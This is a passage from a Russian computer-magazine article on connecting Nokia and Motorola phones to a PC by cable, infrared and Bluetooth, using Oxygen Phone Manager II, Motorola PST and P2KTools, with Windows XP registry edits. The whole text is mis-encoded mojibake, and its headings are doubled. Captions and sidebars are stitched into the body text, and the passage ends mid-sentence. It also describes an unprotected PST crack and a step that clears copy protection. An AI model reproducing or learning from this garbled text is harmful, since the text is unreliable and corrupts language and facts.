åñëè îíî ïðèëàãàåòñÿ ê êàáåëþ. Êîìó îíî
íàäî? Êàê ðåçóëüòàò, êîíå÷íàÿ ñòîèìîñòü
êàáåëÿ îò ïðîèçâîäèòåëÿ òåëåôîíà ìîæåò ñîñòàâëÿòü êàê 10 äîëëà-
ðîâ, òàê è âñå 70�80. Ìíîãèå ñ÷èòàþò òàêóþ ñòîèìîñòü íåîïðàâäàí-
íîé è îáðàùàþòñÿ ê íàðîäíûì óìåëüöàì, êîòîðûå ñàìè ïàÿþò êàáå-
ëè. Èõ óñëóãè ñòîÿò
íåäîðîãî: ñòîèìîñòü
êàáåëÿ ñîñòàâëÿåò
îêîëî 10�15 äîëëà-
ðîâ, íî âîò êà÷åñòâî
íå âñåãäà íà óðîâíå.
Òóò ìîæíî ñêàçàòü,
÷òî òû èãðàåøü â ëî-
òåðåþ: âñå çàâèñèò îò
íàâûêîâ ÷åëîâåêà,
èçãîòîâèâøåãî êà-
áåëü. Ïðèäÿ äîìîé,
ìîæíî îáíàðóæèòü,
÷òî êàáåëü íå ðàáî-

PST � îñíîâíîå îêíî ïðîãðàììû

íè÷åì íå ïðèìåòíûé SiMoCo

PST � îòçûâ ìîäåìà.
Åñëè åãî íå áóäåò, òî íè-
÷åãî ðàáîòàòü íå áóäåò



òàåò, � ýòî, ïîæàëóé, õóäøèé âà-
ðèàíò. Èíîãäà êàáåëü ïåðåñòàåò
ðàáîòàòü ÷åðåç íåêîòîðîå âðåìÿ
� ñêàçûâàþòñÿ ïëîõî ïðîïàÿí-
íûå êîíòàêòû. Ìîæíî ðàññìàòðè-
âàòü âñå âûøåñêàçàííîå êàê àí-
òèðåêëàìó êàáåëÿì ñ ðàäèîðà-

çâàëîâ èëè îò íåÿñíûõ ïðîèçâîäèòåëåé. Íî ìû âåäü òîæå íå ëûêîì
øèòû � ñïàÿòü êàáåëü ñàìîñòîÿòåëüíî � ïðîùå ïðîñòîãî, è íàéòè
åãî ñõåìó â èíåòå äîñòàòî÷íî ëåãêî, à îá îñòàëüíîì è ãîâîðèòü íå
ñòîèò � âñå çàâèñèò îò ïðÿìîòû ðóê. Äëÿ ïîäàâëÿþùåãî áîëüøèí-
ñòâà íåóäà÷íèêîâ îñòàåòñÿ òðåòèé ïóòü � ïðèîáðåñòè êàáåëü îò ñòî-
ðîííåãî ïðîèçâîäèòåëÿ. Êàê ïðàâèëî, îíè ïîääåðæèâàþò âñå òå æå
ôóíêöèè, ÷òî è îðèãèíàëüíûå, à èíîãäà èìåþò è ñâîå ïðîãðàììíîå
îáåñïå÷åíèå â êîìïëåêòå. Â áîëüøèíñòâå ñëó÷àåâ ïîêóïêà òàêîãî êà-
áåëÿ áóäåò ñòîèòü ïîðÿäêà 20�30 äîëëàðîâ. 
À åùå ñ ïîìîùüþ USB-êàáåëÿ òåëåôîí ìîæíî èñïîëüçîâàòü, íàïðè-
ìåð, êàê ìîäåì äëÿ íîóòáóêà. È îá ýòîì ðå÷ü óæå çàõîäèëà â ñòàðûõ
íîìåðàõ. Ïîýòîìó íå áóäó ïîâòîðÿòüñÿ. Â ïîåçäêàõ ïëþñîì USB-êàáå-
ëÿ ÿâëÿåòñÿ âîçìîæíîñòü ïîäçàðÿäêè òåëåôîíà îò USB-ðàçúåìà, õîòÿ
âðåìÿ ïîëíîé ïåðåçàðÿäêè áîëüøå, ÷åì ó îáû÷íîãî çàðÿäíîãî óñòðîé-
ñòâà, íî ýòî íå îñîáî âàæíî.

[[ÈÈÊÊ-ààääààïïòòååððûû]] Ïîäàâëÿþùåå áîëüøèíñòâî ñîâðåìåííûõ íîóòáóêîâ îñíà-
ùåíî ÈÊ-àäàïòåðàìè, äà è äëÿ Desktop-ñèñòåìû ýòî íå ïðîáëåìà. Òåáå
íå ñîñòàâèò òðóäà ïðèîáðåñòè âíåøíèé ÈÊ-ïîðò, áëàãî ñòîèò îí â ïîñëåä-
íåå âðåìÿ êîïåéêè. Ìîæåøü ñìåëî âûáèðàòü ëþáóþ ìîäåëü � ïî÷òè âñå
îíè ïî õàðàêòåðèñòèêàì ìàëî îòëè÷àþòñÿ äðóã îò äðóãà. Êàê è â ñèòóàöèè

ñ êàáåëÿìè, ñ ÈÊ-àäàïòåðàìè ïîñòàâëÿåòñÿ äîïîëíèòåëüíûé áåñïîëåç-
íûé ñîôò. Ïðè íàëè÷èè ÈÊ-ïîðòà íà òåëåôîíå è êîìïüþòåðå òåáå îñòà-
íåòñÿ ëèøü ïîäîáðàòü ñòîÿùåå ïðîãðàììíîå îáåñïå÷åíèå äëÿ ñèíõðîíè-
çàöèè. Íî âñå æå íå áóäó çàáåãàòü âïåðåä è ñêàæó ïàðó ñëîâ î ñàìîé ñî-
âðåìåííîé òåõíîëîãèè.

[[bblluueettooootthh]] Âñå áîëüøåå ÷èñëî òåëåôîíîâ áèçíåñ-êëàññà ïîääåðæèâàåò
òåõíîëîãèþ bluetooth, à òàêæå ñèíõðîíèçàöèþ äàííûõ ñ åå ïîìîùüþ.
Ñåé÷àñ âñå óïèðàåòñÿ â îòñóòñòâèå ñîîòâåòñòâóþùèõ âñòðîåííûõ âîç-
ìîæíîñòåé íà ÏÊ. Îäíàêî ìîæíî ïðèîáðåñòè bluetooth-êàðòó ðàñøèðå-
íèÿ, ñòîèìîñòü êîòîðîé ìîæåò âàðüèðîâàòüñÿ â çàâèñèìîñòè îò ïðîèçâî-
äèòåëÿ. Íà ìîé âçãëÿä, áîëåå ëîãè÷íîé âûãëÿäèò ïîêóïêà USB-Dongle îò
êàêîãî-íèáóäü òàéâàíñêîãî ïðîèçâîäèòåëÿ, òàê êàê îòëè÷èÿ òàêèõ ìîäå-
ëåé ëèøü âî âíåøíåì âèäå äà ïðîãðàììíîì îáåñïå÷åíèè, èäóùåì â
êîìïëåêòå (ñòîèìîñòü 25�30 äîëëàðîâ). Êàê ñëåäóåò èç íàçâàíèÿ, ïîä-
êëþ÷àåòñÿ òàêîå óñòðîéñòâî ê USB-ïîðòó êîìïüþòåðà, ïðè÷åì áåç ëèø-
íåãî ãåìîððîÿ ñ äðîâàìè. 

[[ooxxyyggeenn pphhoonnee mmaannaaggeerr IIII]] À òåïåðü ïðîäîëæèì ðàññêàç î òîì, êàê âñå ýòè
âåùè ïðèìåíèòü, è íà÷íåì ìû ñ ôèíñêîãî äðóãà, êîòîðîãî çîâóò, êàê òû
óæå äîãàäàëñÿ, Nokia.
Ìíîãèå ñïðîñÿò: «Ïî÷åìó èìåííî ýòà ïðîãðàììà, à íå «íîêèåâñêèé» PC
Suite?». Íî òóò âåäü âñå ïîíÿòíî. Ïðîãðàììà ïðîèçâîäèòåëÿ ñîñòîèò èç
îáùåé îáîëî÷êè ñ êó÷åé ññûëîê íà ðàçíûå «ïîäïðîãðàììû», êàæäàÿ èç
êîòîðûõ âûïîëíÿåò îïðåäåëåííóþ ôóíêöèþ, è òî íå â ïîëíîé ìåðå.
Ïîñëå òîãî êàê òû óñòàíîâèøü ïðîãðàììêó (çäåñü íåò íè÷åãî ñëîæíî-
ãî), îòêðîåøü åå, ñîâåòóþ ïåðâûì äåëîì ëåçòü â «Èíñòðóìåíòû -> Íà-
ñòðîéêè». Ñîîòâåòñòâåííî, âûáèðàåì òèï ñîåäèíåíèÿ. Áóäü ýòî ÈÊ-
ïîðò, Bluetooth èëè êàáåëü. Äëÿ ïîñëåäíåãî âûáèðàåì íîìåð COM-ïîð-
òà (äàæå åñëè òû êóïèë USB-øíûé) � åãî íîìåð òû ìîæåøü ïîñìî-
òðåòü â äèñïåò÷åðå óñòðîéñòâ.
Â ëåâîé ÷àñòè ýêðàíà ïîÿâèòñÿ íîìåð òâîåãî òåëåôîíà. Òóò òû ìîæåøü
äàòü åìó èìÿ, ïðè÷åì òî, êîòîðîå ñàì çàõî÷åøü, áóäü òî «òåëåôîí ìîåé
äâîþðîäíîé òåòè ÷åðåç ïÿòîå êîëåíî, ñëåãêà êîñíóâøèñü ìîåé òðîþðîä-
íîé áàáóøêè» èëè ÷òî-íèáóäü ïîõîæåå. À ìîæåøü âîîáùå îñòàâèòü ñâîé
ëþáèìûé àïïàðàò áåç èìåíè. Íîìåð òâîåãî òåëåôîíà ÿâëÿåòñÿ ðàñêðû-
âàþùèìñÿ ñïèñêîì, â êîòîðîì åñòü ìíîæåñòâî ïîäïóíêòîâ. Ïðåäëàãàþ
êðàòêî ïî íèì ïðîáåæàòüñÿ.
Íå ñêàæó òåáå íè÷åãî íîâîãî: çàïèñíàÿ êíèæêà ÿâëÿåòñÿ îäíîé èç ñàìîé
÷àñòî èñïîëüçóåìûõ ôóíêöèé ìîáèëüíèêà, è ñ ïîìîùüþ Oxygen Phone
Manager II òû ìîæåøü êîìôîðòíî åå ðåäàêòèðîâàòü. Ïðîãðàììà ïðåä-
ñòàâëÿåò òåëåôîííóþ êíèãó â âèäå óäîáíîãî äëÿ ïðîñìîòðà è ðåäàêòè-

p2ktools.motofan.ru �
îôèöèàëüíûé ñàéò ïðî-
ãðàììû P2KTools.
htpp://oxygensoftware.com
� îôèöèàëüíûé ñàéò ïðî-
ãðàììû OPM II.
http://mobileinform.ru �
ñàéò ñ ïðåêðàñíûìè òåñòà-
ìè ñîòîâûõ òåëåôîíîâ.
http://motofan.ru � âñå äëÿ
ëþáèòåëåé Motorola.
http://samsung-club.ru �
êëóá ëþáèòåëåé samsung.

Îáùèì ñîâåùàíèåì áûëî
ðåøåíî, ÷òî âûêà÷èâàòü
âñå ýòè ïðîãðàììû ñàìîìó
íå åñòü õîðîøî, à ïîòîìó
ìû èõ áåðåæíî ðàçìåñòèëè
íà äèñêå.

PST � ðåäàêòîð ðååñòðà
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ðîâàíèÿ ñïèñêà êîí-
òàêòîâ. Ïðè æåëàíèè
êàæäûé êîíòàêò òàêæå
ìîæíî ïðîñìîòðåòü è
èçìåíèòü â îòäåëüíîé
êàðòî÷êå. Åñòü î÷åíü
óäîáíàÿ ôèøêà �
ïðîãðàììà îáåñïå÷è-
âàåò äâóõñòîðîííþþ
ñèíõðîíèçàöèþ òåëå-
ôîííîé êíèãè ñ MS
Outlook è Lotus Notes ñ
ïîääåðæêîé ãðóïï
àáîíåíòîâ è êàòåãî

ðèé; èìïîðò è ýêñïîðò äàííûõ èç Windows Address Book è ôàéëîâ CSV;
ñîõðàíåíèå äàííûõ â áîëåå äåñÿòè ðàçëè÷íûõ ôîðìàòàõ (MS Excel,
HTML, XML), ÷òî äîñòàòî÷íî ïðèÿòíî. Òàêæå äëÿ òåáÿ, ëåíèâîãî, ïðèäó-
ìàëè òàêîå óäîáñòâî: ìîæíî óñòàíàâëèâàòü êëàâèøè áûñòðîãî íàáîðà,
ïðîèçâîäèòü ïîèñê äóáëèðóþùèõñÿ íîìåðîâ, èçìåíÿòü òèïû íîìåðîâ,
äîáàâëÿòü è óäàëÿòü ïðåôèêñû ó ïîëåé âûáðàííîãî òèïà, íà÷èíàòü íà-
áîð íîìåðà è ìíîãîå äðóãîå.
Åñëè òû îêàçàëñÿ çàíÿòûì ÷åëîâåêîì èëè ïðîñòî ó òåáÿ ïëîõàÿ ïàìÿòü, è
òû ïîñòîÿííî ïîëüçóåøüñÿ êàëåíäàðåì, òî â OPM II î÷åíü óäîáíî åãî ðå-
äàêòèðîâàòü. Íàðÿäó ñ ïðîñòûì ñïèñêîì ñîáûòèé â ïðîãðàììå ìîæíî
ïðîñìàòðèâàòü ñîáûòèÿ â ðåæèìå Ïëàíèðîâùèêà ñ èíòåðôåéñîì, ïîñòðî-
åííûì ïî òèïó MS Outlook. Ïëàíèðîâùèê óäîáíî íàñòðàèâàåòñÿ íà òâîé
âêóñ. Â íåì èçìåíÿåòñÿ êîëè÷åñòâî îäíîâðåìåííî îòîáðàæàåìûõ äíåé,
çàäàåòñÿ èíòåðâàë ðàáî÷åãî âðåìåíè, íàñòðàèâàåòñÿ øêàëà âðåìåíè.
Âîçìîæíîñòü óêðàñèòü ñâîé ëþáèìûé òåëåôîí ëîãîòèïîì ÿâëÿåòñÿ ïðè-
ÿòíîé îñîáåííîñòüþ ìîáèëüíèêîâ. Ïîæàëóé, íå ñòîèò óïóñêàòü è âîçìîæ-
íîñòè ñîçäàòü ñâîé îðèãèíàëüíûé. Äëÿ òàêîãî ñëó÷àÿ âñòðîåí ïîëíîöåí-

íûé ãðàôè÷åñêèé ðå-
äàêòîð. Òû ñìîæåøü
ñîçäàòü ñâîþ èëè çà-
ãðóçèòü ïîíðàâèâøóþ-
ñÿ êàðòèíêó â ïðîãðàì-
ìó, îòðåäàêòèðîâàòü
åå è óñòàíîâèòü â êà-
÷åñòâå ëîãîòèïà îïå-
ðàòîðà, ñòàðòîâîãî ëî-
ãîòèïà èëè îáîèõ.
Ìîäåëè òåëåôîíîâ ñ
öâåòíûìè äèñïëåÿìè
è âîçìîæíîñòüþ ïðîè-
ãðûâàíèÿ ïîëèôîíè-
÷åñêèõ ìåëîäèé õðà-

íÿò êàðòèíêè è ìåëîäèè â «Ãàëåðåå». Ïðîãðàììà äàåò ïîëíîöåííûé äî-
ñòóï ê «Ãàëåðåå» òåëåôîíà, ïîçâîëÿÿ çàãðóæàòü ôàéëû èç òåëåôîíà íà
êîìïüþòåð, ïðîñìàòðèâàòü èõ, çàïèñûâàòü íîâûå. Åñëè ó òåáÿ â òåëåôî-
íå åñòü ôîòîêàìåðà è òû ëþáèòåëü «ïîùåëêàòü», òî î÷åíü ïîëåçíîé
îêàæåòñÿ âîçìîæíîñòü ñîõðàíåíèÿ ñíèìêîâ íà êîìïüþòåðå, ïîñêîëüêó
ïàìÿòü òåëåôîíà ìîæåò áûòü äîñòàòî÷íî çàïîëíåííîé äëÿ èõ ïîñòîÿí-
íîãî õðàíåíèÿ. Ïðè ýòîì âñåãäà åñòü âîçìîæíîñòü ñíîâà çàãðóçèòü ïîí-
ðàâèâøèåñÿ ñíèìêè â òåëåôîí.
À ìîæåò, òû ëþáèøü ïîèãðàòü (êîíå÷íî, åñëè ó òåáÿ åñòü ïîääåðæêà Ja-
va)? Ñ OPM II òû ëåãêî ñìîæåøü óïðàâëÿòü ïðèëîæåíèÿìè è èãðàìè: çà-
ãðóæàòü èõ èç òåëåôîíà, óñòàíàâëèâàòü íîâûå, óäàëÿòü íåíóæíûå.
Òóò ìû îáñóäèëè ñàìûé ìèíèìóì ýòîé ïðîãðàììû, ïîýòîìó ñðî÷íî õâà-
òàé ñâîþ Nokia è áåãè ê êîìïó óñòàíàâëèâàòü ýòîò çàìå÷àòåëüíûé ïðî-
äóêò òâîðåíèÿ ðóê ÷åëîâå÷åñêèõ.

[[PP22KKTToooollss && PPrroodduucctt SSuuppppoorrtt TTooooll]] À âîò è íàøè àìåðèêàíöû � âñåì èç-
âåñòíàÿ êîìïàíèÿ Motorola. Ýòà êîìïàíèÿ èçâåðíóëàñü íàñòîëüêî, ÷òî
äëÿ ïîäêëþ÷åíèÿ òåëåôîíà (â áîëüøèíñòâå ñëó÷àåâ) ïðèõîäèòñÿ èçâðà-
ùàòüñÿ ñ ðåäàêòèðîâàíèåì ðååñòðà âèíäû.
Òåïåðü äàâàé ðåøèì, íàñêîëüêî òû ñ÷àñòëèâûé îáëàäàòåëü òîé ñàìîé
«ìîòîðîëêè». Åñëè ó òåáÿ ÷òî-òî â ðàéîíå C350 èëè ïîñòàðåå, òî òåáå
ïîäîéäåò ïðîãðàììà Product Support Tool, åñëè æå ÷òî-òî áîëåå íîâîå,
òî òåáå ïîâåçëî áîëüøå, è òâîé âûáîð � P2KTools.
Íà÷íåì ñî ñòàðèêîâ, òàê êàê èì íàäî äîðîãó óñòóïàòü.
Èç èíãðåäèåíòîâ òåáå ïîòðåáóåòñÿ:

1 Òåëåôîí Motorola C350 + Êàáåëü USB A -> mini-USB 5pin

2Motorola USB driver, MOTOROLA Inc.: Product Support Tool, (+Pst49_un-
protected), M-Services Backup Editor

3 Ãðàôè÷åñêèé ðåäàêòîð (íàïðèìåð, PhotoShop)

4 Ðåäàêòîð MIDI-ôàéëîâ (æåëàòåëüíî, íî íå îáÿçàòåëüíî)

5 Windows 98 èëè 2000/XP

6 Ïðÿìûå ðó÷êè :)

Motorola USB driver � äðàéâåð äëÿ ïîäêëþ÷åíèÿ òåëåôîíà ê êîìïó. MO-
TOROLA Inc.: Product Support Tool � óòèëèòà äëÿ ðàáîòû ñ òåëåôîíîì
ïîä Windows 98/2k. Pst49_unprotected � ïðèìî÷êà äëÿ Product Support
Tool.
M-Services Backup Editor � óòèëèòà äëÿ çàêà÷êè ìóçûêè (midi) è êàðòè-
íîê â òåëåôîí (èñïîëüçóåòñÿ â ñâÿçêå ñ PST).
Óñòàíàâëèâàåì ñîôò. Òóò âñå ïðîñòî:

1 Èíñòàëëèðóåì Motorola USB äðàéâåð

2 Ïåðåãðóæàåì êîìïüþòåð

3 Ïîäêëþ÷àåì òåëåôîí ê USB

4 Îòêðûâàåì «ñâîéñòâà ñèñòåìû» è óáåæäàåìñÿ, ÷òî ïîÿâèëñÿ Motoro-
la USB Modem

5 Îòêðûâàåì «Ïàíåëü óïðàâëåíèÿ» -> «Ìîäåìû»

6 Íàæèìàåì êíîïêó «Äîïîëíèòåëüíî...» â Windows 98 èëè «Ñâîéñòâà ->
Äèàãíîñòèêà» â Windows XP. Äîëæíû ïîëó÷èòü îòâåò ìîäåìà. Åñëè «îò-
êëèê ìîäåìà» íå ïîëó÷åí, ïðèäåòñÿ ïîèãðàòü ñ ñèñòåìîé. Îáû÷íî ïðîáëå-
ìà âîçíèêàåò, åñëè â ñèñòåìå åñòü ïðîñòîé ìîäåì. Ó ìåíÿ òàê è ïîëó÷è-
ëîñü. Íà COM3 ó ìåíÿ ñòîÿë USRobotics è îòêëèê îò Motorola Modem
(COM4) ÿ íå ïîëó÷àë. Ïîñëå ïåðåñòàíîâêè USRobotics íà COM5 Ìîòîðîëà
âñòàëà íà COM3 è ñðàçó æå îòêëèêíóëàñü. Åñëè ó òåáÿ âñå æå íè÷åãî íå ïî-
ëó÷àåòñÿ � ïèøè íàì, îáÿçàòåëüíî ðàçáåðåìñÿ. Ïîêà íå äîáüåøüñÿ «îò-
êëèêà ìîäåìà» Motorola, äàëüøå ìîæíî íå ÷èòàòü, òàê êàê ðàáîòàòü âñå
ðàâíî íè÷åãî íå áóäåò.

7 Óñòàíàâëèâàåì ïðîãðàììó PST 4.9. â êàòàëîã ïðîãðàììû (C:\Program
Files\Motorola\PST), ïåðåïèñûâàåì ñîäåðæèìîå àðõèâà Pst4_9_unprotec-
ted. ×òîáû PST íîðìàëüíî âñòàëà ïîä Windows XP â ñâîéñòâàõ èíñòàë-
ëÿòîðà ðåêîìåíäóåòñÿ ïîñòàâèòü ðåæèì ñîâìåñòèìîñòè Windows 2000

EasyGPRS � îêíî äëÿ çàêà÷êè êàðòèíîê

EasyGPRS � îñíîâíîå îêíî ïðîãðàììû

OPM � íàñòðîéêè ïîäêëþ÷åíèÿ

SYNCM
Ðàññêàçûâàÿ î ñèíõðîíèçàöèè äàííûõ íà òåëåôîíàõ, íåëü-
çÿ íå ðàññêàçàòü î òåõíîëîãèè SyncML. Îíà ïðåäíàçíà÷åíà
äëÿ ñèíõðîíèçàöèè äàííûõ ìåæäó ðàçëè÷íûìè êëàññàìè
óñòðîéñòâ (ÏÊ, ÊÏÊ, òåëåôîíû èëè åùå ÷òî-òî äðóãîå). Â
ñîâðåìåííûõ áèçíåñ-àïïàðàòàõ ýòà òåõíîëîãèÿ, êàê ïðàâè-
ëî, ïðèñóòñòâóåò. Â áóäóùåì åé îáçàâåäóòñÿ ìíîãèå àïïà-
ðàòû ñðåäíåãî è âûñîêîãî öåíîâîãî êëàññà. Íå âäàâàÿñü â
ïîäðîáíîñòè ñêàæó, ÷òî ñ ïîìîùüþ SyncML íà òåëåôîíå
âîçìîæíà ñèíõðîíèçàöèÿ äàííûõ ñ òâîåé áàçîé äàííûõ, â
êîòîðîé òû, ñîáñòâåííî, è âåäåøü ñâîé ñïèñîê äåë, íàïî-
ìèíàíèé, òåëåôîííóþ êíèãó. Âñå, ÷òî òåáå íóæíî ñäåëàòü
íà òåëåôîíå, � ýòî óêàçàòü àäðåñ, ïî êîòîðîìó ìîæíî
íàéòè òâîþ áàçó â Ñåòè, à òàêæå èìÿ ïîëüçîâàòåëÿ è ïà-
ðîëü. Â äàëüíåéøåì òåëåôîí ñàì ñòàíåò ñèíõðîíèçèðî-
âàòü äàííûå, íà àïïàðàòå âñåãäà áóäåò íàèáîëåå àêòóàëü-
íàÿ èíôîðìàöèÿ î âñòðå÷àõ è êîíòàêòàõ. Íà äàííûé ìî-
ìåíò òåõíîëîãèÿ SyncML ðåàëèçîâàíà ëèøü íåáîëüøèì
÷èñëîì êðóïíûõ êîìïàíèé äëÿ ñâîèõ ðàáîòíèêîâ, â ÷àñòíî-
ñòè, ìåíåäæåðîâ ñðåäíåãî è âûñøåãî çâåíà. Ðàññìàòðè-
âàòü ýòîò ñïîñîá ñèíõðîíèçàöèè êàê àëüòåðíàòèâó òðàäè-
öèîííûì âàðèàíòàì ïîêà íåëüçÿ.



8 Ïåðåãðóæàåì êîìï

Çàêà÷èâàåì êàðòèíêè
è ìóçûêó:

1 Ïîäãîòàâëèâàåì
ôàéëû äëÿ çàëèâêè: 
� êàðòèíêè â ôîðìàòå
GIF, ðàçìåðîì íå áî-
ëåå 96X65 ïèêñåëåé;
� MIDI ðåêîìåíäóþ îá-
ðåçàòü äî 20 ñåê (âëå-
çåò áîëüøå ìåëîäèé)
è â ðåäàêòîðå óâåëè-
÷èòü ãðîìêîñòü âñåõ

èíñòðóìåíòîâ äî ìàêñèìóìà (127)

2 Çàïóñêàåì MBE.EXE è äîáàâëÿåì êàðòèíêè è ìåëîäèè. Âíèçó ïîêàçû-
âàåòñÿ îáùèé ðàçìåð ôàéëà, êîòîðûé áóäåò çàêà÷èâàòüñÿ â òåëåôîí (ïî
íåïðîâåðåííûì äàííûì â òåëåôîíå äëÿ þçåðà îñòàâëåíî îêîëî 200 Êá
ïàìÿòè). Â ìîåì ïðèìåðå ðàçìåð ñîñòàâëÿåò 23 Êá

3 Íàæèìàåì «Make M-Services Backup File» è ñîõðàíÿåì åãî ñ ðàñ-
øèðåíèåì ems

4 ÎÁßÇÀÒÅËÜÍÎ! Íàæèìàåì êíîïêó «Clear PST Copy Protection». Äîë-
æíû ïîëó÷èòü ïîäòâåðæäåíèå

5 Çàïóñêàåì PST è ðàäóåìñÿ æèçíè

6 Åñëè îïåðàöèîííàÿ ñèñòåìà:
� Windows 98
Ïîñëå çàïóñêà PST Windows äîëæíà íàéòè íîâûå óñòðîéñòâà. Äðàéâåðà
äëÿ íèõ ëåæàò â êîðíå ïàïêè, â êîòîðóþ óñòàíîâëåí PST (ýòî ôàéëû
p2k.inf, USBMOT2000.INF, p2k.sys). Ïðè óñïåøíîé óñòàíîâêå äîëæíû ïî-
ÿâèòüñÿ íîâûå óñòðîéñòâà: Accessories Interface, Data Logging MCU è ò.ä.
� Windows XP 
a) Çàïóñêàåì regedit.exe è ïåðåõîäèì â âåòêó HKEY_LOCAL_MACHI-
NE\SYSTEM\CurrentControlSet\Enum\USB.
á) Ìåíÿåì «Ðàçðåøåíèÿ...» äëÿ âåòêè USB � «Ïîëíûé äîñòóï».
â) Óäàëÿåì âñå âåòêè, íà÷èíàþùèåñÿ íà Vid_22b8&Pid_3801... (åñëè îíè åñòü).
ã) Çàïóñêàåì PST, Windows äîëæåí íàéòè íîâûå óñòðîéñòâà. Äðàéâåðà

äëÿ íèõ ëåæàò â êîðíå ïàïêè, â êîòîðóþ óñòàíîâëåí PST.
ä) PST íå çàêðûâàåì. Îïÿòü çàïóñêàåì regedit.exe è ïåðåõîäèì â âåòêó
H K E Y _ L O C A L _ M A C H I N E \ S Y S T E M \ C u r r e n t C o n t r o l -
Set\Enum\USB\Vid_22b8&Pid_3801. Âíóòðè íåå äîëæíà áûòü åùå îäíà âåò-
êà, íå âàæíî, ñ êàêèì íàçâàíèåì, â ìîåì ñëó÷àå � ýòî 5&789ddb4&1&2.
Íàõîäèì ïàðàìåòð Service ñî çíà÷åíèåì usbccgp è èçìåíÿåì åãî íà usb-
hub.
å) Âíóòðè âåòêè, ñ êîòîðîé ìû òîëüêî ÷òî ðàáîòàëè, åñòü åùå îäíà ñ íàç-
âàíèåì Control. Â íåé åñòü ïàðàìåòð ActiveService � èçìåíÿåì åãî çíà-
÷åíèå íà usbhub.
æ) Âûíèìàåì êàáåëü èç òåëåôîíà, æäåì 5 ñåêóíä, ñíîâà âêëþ÷àåì. Win-
dows íàõîäèò íîâûå óñòðîéñòâà. Óêàçûâàåì åé ïóòü ê äðàéâåðàì â êî-
ðåíü PST, êàê äåëàëè ðàíüøå. 

7 Îòêðûâàåì íàø ñîõðàíåííûé M-Service Backup File.

8 PST ïîêàçûâàåò èíôîðìàöèþ î ôàéëå � îäèí ãðàôè÷åñêèé ôàéë è
òðè ìåëîäèè.

9 Íàæèìàåì êíîïêó «Write into the phone». Çåëåíûå ãàëêè � âñå âûñòà-
âëÿåì â ïîëîæåíèå ÎÊ, åñëè áóäóò êðàñíûå � ó íàñ ïðîáëåìû, ïðîáóé
åùå ðàç. Âîçìîæíàÿ îøèáêà � ñëèøêîì áîëüøîé ðàçìåð ôàéëà ñ ðàñ-
øèðåíèåì ems è ìàëîå êîëè÷åñòâî ñâîáîäíîé ïàìÿòè â òåëåôîíå. Ñ ïî-
ìîùüþ ïðîãðàììû PST ìîæíî çàìåíèòü êàðòèíêó, êîòîðàÿ ïîêàçûâàåò-
ñÿ ïðè âêëþ÷åíèè/âûêëþ÷åíèè òåëåôîíà. Ýòî, êàê ïîíèìàåøü, ìîæåò
áûòü è àíèìàöèîííûé GIF-ôàéë ;). 
Íó âîò, íàêîíåö, äîáðàëèñü è äî îáëàäàòåëåé «ìîòîðîëîê» íàøåãî âå-
êà. Èì ïîâåçëî áîëüøå, ïóòü ïðåäñòîèò ìåíåå äîëãèé. Ïåðåä ïåðâûì
ïîäêëþ÷åíèåì òåëåôîíà ê êîìïüþòåðó íåîáõîäèìî óñòàíîâèòü äðàéâåð
Motorola USB Driver. Â èíòåðíåòå ïîëíî ññûëîê íà íåãî, ïîýòîìó íàéòè
åãî íå ñîñòàâèò òðóäà (ðàçìåð ~1.2 Mb). Ïîñëå óñòàíîâêè ïåðåçàãðóæà-
åì êîìïüþòåð. Ïîäêëþ÷àåì òåëåôîí ê USB. 
Îêðûâàåì «Ñâîéñòâà ñèñòåìû» è óáåæäàåìñÿ, ÷òî ïîÿâèëñÿ Motorola
USB Modem. Îòêðûâàåì «Ïàíåëü óïðàâëåíèÿ -> Ìîäåìû». Íàæèìàåì
êíîïêó «Ñâîéñòâà» è ëåçåì âî âêëàäêó «Äèàãíîñòèêà». Æìåì «Îïðî-
ñèòü ìîäåì». Äîëæíû ïîëó÷èòü îòâåò ìîäåìà. Åñëè «îòêëèê ìîäåìà» íå
ïîëó÷åí, ïðèäåòñÿ îïÿòü êîâûðÿòü ñèñòåìó. Êàê è â ïðåäûäóùåì ñëó÷àå,
ïðîáëåìà âîçíèêàåò, åñëè â ñèñòåìå åñòü ïðîñòîé ìîäåì. Ïîïðîáóé ïå-
ðåñòàâèòü ìîäåì íà äðóãîé COM-ïîðò. Åñëè âñå íîðìàëüíî � èäåì
äàëüøå. Â ïðèíöèïå, ýòîãî äðàéâåðà äîñòàòî÷íî, ÷òîáû ïðîãðàììà ðà-

EasyGPRS � îêíî äëÿ çàêà÷êè ìåëîäèé
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áîòàëà â ðåæèìå AT-mode. Íî ýòîãî íå äîñòàòî÷íî äëÿ ðàáîòû â P2K-
mode. Çàïóñêàåì ïðîãðàììó â ðåæèìå P2K-mode è æìåì êíîïêó «Ïîä-
êëþ÷èòü». Windows äîëæåí íàéòè íîâûå óñòðîéñòâà. Äðàéâåðà äëÿ íèõ
ëåæàò â ïàïêå ñ ïðîãðàììîé â ïîäêàòàëîãå /drv. Ïðè óñïåøíîé óñòàíîâ-
êå äîëæíû ïîÿâèòüñÿ íîâûå óñòðîéñòâà: Accessories Interface, Data Log-
ging MCU è ò.ä. Åñëè ó òåáÿ Windows XP, òî íåîáõîäèìî îòðåäàêòèðîâàòü
ðååñòð Windows. Êàê ýòî ñäåëàòü � ÷èòàåì äàëüøå. 

[[ííààññòòððîîééêêàà ððààááîîòòûû ññ WWiinnddoowwss XXPP]] Åñëè ïîñëå óñòàíîâêè âñåõ äðàéâåðîâ
â «Äèñïåò÷åðå óñòðîéñòâ» ïîÿâèëîñü ïðåäóïðåæäåíèå, è ïðîãðàììà íå
õî÷åò óñòàíàâëèâàòü ñâÿçü ñ òåëåôîíîì â ðåæèìå P2K-mode, òî íåîáõî-
äèìî îòðåäàêòèðîâàòü ðååñòð Windows XP. 
Çàïóñêàåì regedit.exe è ïåðåõîäèì â âåòêó HKEY_LOCAL_MASHINE\SY-
STEM\CurrentControlSet\Enum\USB. Ìåíÿåì «Ðàçðåøåíèÿ...» äëÿ âåòêè
USB � «Ïîëíûé äîñòóï». 
Óäàëÿåì âñå âåòêè, íà÷èíàþùèåñÿ íà Vid_22b8&Pid_5801.... Âíóòðè ñà-
ìîé âåòêè Vid_22b8&Pid_5801 äîëæíà áûòü åùå îäíà âåòêà. Íå âàæíî, ñ
êàêèì íàçâàíèåì, ó ìåíÿ îíà íàçûâàåòñÿ 5&1d9adc3c&1&1. Íàõîäèì ïà-
ðàìåòð Service ñî çíà÷åíèåì usbcgp è ìåíÿåì åãî íà usbhub. 
Âíóòðè âåòêè, ñ êîòîðîé ìû òîëüêî ÷òî ðàáîòàëè, åñòü åùå îäíà ñ íàçâà-
íèåì Control. Â íåé åñòü ïàðàìåòð ActiveService � èçìåíÿåì åãî çíà÷å-
